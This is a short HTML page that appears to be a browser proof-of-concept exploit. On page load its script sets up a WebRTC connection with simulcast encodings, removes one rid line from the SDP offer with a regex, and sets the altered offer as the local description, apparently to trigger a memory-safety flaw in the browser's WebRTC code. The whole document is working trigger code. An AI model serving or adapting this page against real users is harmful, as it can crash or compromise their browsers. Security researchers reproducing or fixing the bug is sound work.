<html>
<head>
<script>

var canvas = document.createElement('canvas');

function createConnection() {
        var pc = new RTCPeerConnection({
                        iceServers: [],
                        iceTransportPolicy: 'relay'
        });
        
        var encodings = [];
        for (var i = 0; i < 2; i++) {
                encodings.push({ rid: String.fromCharCode(97 + i) });// rid must be alphabetic and unique
        }
        pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings });
        return pc;
}


function sdp_munge(offer) {
        let sdp = offer.sdp;
        sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, '');
        offer.sdp = sdp;
        return offer;
}


async function trigger(pc) {
        var pc = createConnection(); // create an WebRTC connection with
        var offer = await pc.createOffer(); // create an offer
        var munged_offer = sdp_munge(offer); // remove one of the send_codecs_ from the offer
        await pc.setLocalDescription(munged_offer); // set the local description with the sdp
}


trigger();


</script>
</head>
</html>